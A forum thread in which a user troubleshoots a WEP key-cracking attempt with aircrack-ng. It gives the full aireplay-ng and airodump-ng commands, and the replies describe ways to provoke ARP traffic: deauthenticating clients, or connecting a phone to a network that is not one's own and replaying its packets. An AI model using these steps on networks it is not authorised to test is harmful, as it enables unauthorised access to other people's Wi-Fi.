Results 1 to 7 of 7

Thread: [WEP-cracking] Aircrack - dont get any datas

  1. #1
    Just burned his ISO
    Join Date
    Mar 2011
    Location
    GER
    Posts
    2

    Default [WEP-cracking] Aircrack - dont get any datas

    Thought I did everything fine but somehow I won't get any Data/ARP request's.

    To give you some details :

    root@bt~# iwconfig
    lo
    • no wireless extensions

    eth0
    • no wireless extensions

    wlan0
    • IEEE 802.11bg
    • ESSID:off/any
    • Mode: Managed
    • Tx-Power=20dBm
    • Retry
    • long limit:7
    • RTS thr:off
    • Fragment thr:off
    • Encyption key:off
    • Power Management:off

    mon0
    • IEEE 802.11bg
    • Mode: Monitor
    • Frequency:2.412 GHz
    • Tx-Power=20dBm
    • Retry
    • long limit:7
    • RTS thr:off
    • Fragment thr:offPower Management:off


    I used the following lines which are working correct (at least I guess) :

    root@bt:~# aireplay-ng -1 6000 -o 1 -q 10 -e [the SSID] -a [MAC from SSID] -h [MAC from my dev] mon0
    20:18:20 Sending Authentication Request
    20:18:20 Authentication successful
    20:18:20 Sending Association Request
    20:18:20 Association successful :-) (AID: 1)
    20:18:30 Sending keep-alive packet [ACK]
    20:18:40 Sending keep-alive packet [ACK]
    20:18:50 Sending keep-alive packet [ACK]
    and so on ...

    root@bt:~# aireplay-ng -3 -b [MAC from SSID] -h [MAC from my dev] mon0
    20:21:08 Waiting for beacon frame (BSSSID : [the SSID]) on channel 1
    Saving ARP requests in replay_arp-0307-202108.cap
    You should also start airodump-ng to capture replies.
    Read 186323 packets (got 0 ARP requests and 221 ACKs), sent 0 packets...(o pps)
    and counting more and more

    root@bt:~# airreplay-ng -2 -b [MAC from SSID] -h [MAC from my dev] -c FF:FF:FF:FF:FF:FF -p 0841 mon0
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    Read 203251 packets...
    also here its counting more and more but nothing happens

    any ideas what I am doing wrong ? :/

    and yea I also used on another console
    airodump-ng -c 1 --bssid [MAC from SSID] -w /mnt/usb/blabla mon0

  2. #2
    Junior Member
    Join Date
    Feb 2010
    Location
    Between here and there
    Posts
    31

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    Seems like it's waiting for (any) packet to re-play to router...but no one is connecting so it has nothing to re-play back.
    Hint: What cell phone do you have ?

  3. #3
    Just burned his ISO
    Join Date
    Mar 2011
    Location
    GER
    Posts
    2

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    A Samsung S5230

  4. #4
    Junior Member
    Join Date
    Feb 2010
    Location
    Between here and there
    Posts
    31

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    ...so no wifi on your phone. This trick works for me...

  5. #5
    Good friend of the forums comaX's Avatar
    Join Date
    Feb 2010
    Location
    Paris, France
    Posts
    338

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    Well, if you knew what you were doing (sorry, but you seem to be simply following commands from a tut), and were on your network, generating and ARP is very easy : ping a non-existing machine on your network, or reconnect a machine. If you don't want to interact from withing the network you should deauth a client.
    Running both KDE and GNOME BT5 flawlessly. Thank you !

  6. #6
    Junior Member
    Join Date
    Feb 2010
    Location
    Between here and there
    Posts
    31

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    Quote Originally Posted by comaX View Post
    ...
    and were on your network, generating and ARP is very easy : ping a non-existing machine on your network, or reconnect a machine.
    ...
    I didn't want to sound like a >>evil do'er<< but if you're not on own network, or trying to see if your own router will reply to unknown devices, you can simply try to connect with wifi on your phone. Even if you don't type in your password, the router will send some packets, and you can re-use those packets with "aireplay-ng -2" command. It works for me, if I am that close to the signal to be able to pick it up with my phone. That's why my hint was a cell phone.

    This may not work if you have mac filtering turned on.

  7. #7
    Good friend of the forums comaX's Avatar
    Join Date
    Feb 2010
    Location
    Paris, France
    Posts
    338

    Default Re: [WEP-cracking] Aircrack - dont get any datas

    I wasn't referring to you, but to OP, sorry if I was unclear. Indeed, connecting an equipment will trigger an ARP packet. It is the same result as reconnecting one, as I suggested previously.
    Running both KDE and GNOME BT5 flawlessly. Thank you !

Similar Threads

  1. cracking WPA not working with aircrack
    By trackdatback in forum Beginners Forum
    Replies: 2
    Last Post: 08-03-2010, 03:16 AM
  2. aircrack-ng wpa cracking
    By levelmkd in forum OLD Newbie Area
    Replies: 4
    Last Post: 10-22-2009, 01:25 AM
  3. Cracking Wep key - i dont find the pass ?
    By beantje in forum OLD Newbie Area
    Replies: 7
    Last Post: 01-09-2008, 06:29 PM
  4. cracking my Ap with Aircrack?
    By achristopher in forum OLD Newbie Area
    Replies: 4
    Last Post: 09-14-2007, 05:19 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •